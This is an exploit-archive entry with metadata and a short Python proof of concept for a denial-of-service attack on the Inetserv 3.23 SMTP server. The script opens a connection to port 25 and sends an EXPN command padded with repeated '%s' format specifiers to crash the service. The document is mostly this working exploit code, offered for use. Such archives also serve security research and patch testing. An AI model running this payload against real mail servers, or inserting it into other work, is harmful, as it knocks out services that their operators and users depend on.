Inetserv 3.23 - SMTP Denial of Service

Author: G13
type: dos
platform: windows
port: nan
date_added: 2011-01-23 
date_updated: 2011-01-24 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt16500/screen-shot-2011-01-24-at-64822-am.png 
application_url: http://www.exploit-db.cominetserv323.exe

#!/usr/bin/python
# Exploit Title: Inetserv 3.23 SMTP DoS
# Date: 1/22/2011
# Author: G13
# Software Link: http://www.avtronics.net/inetserv.php
# Version: 3.23
# Tested on: WinXP SP0 Eng

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "EXPN " + "%s" * 40 + "\r\n"

s.connect(('127.0.0.1',25))

data=s.recv(1024)
s.send("HELO\r\n")

s.send(buffer)

s.send("HELP\r\n")
s.close()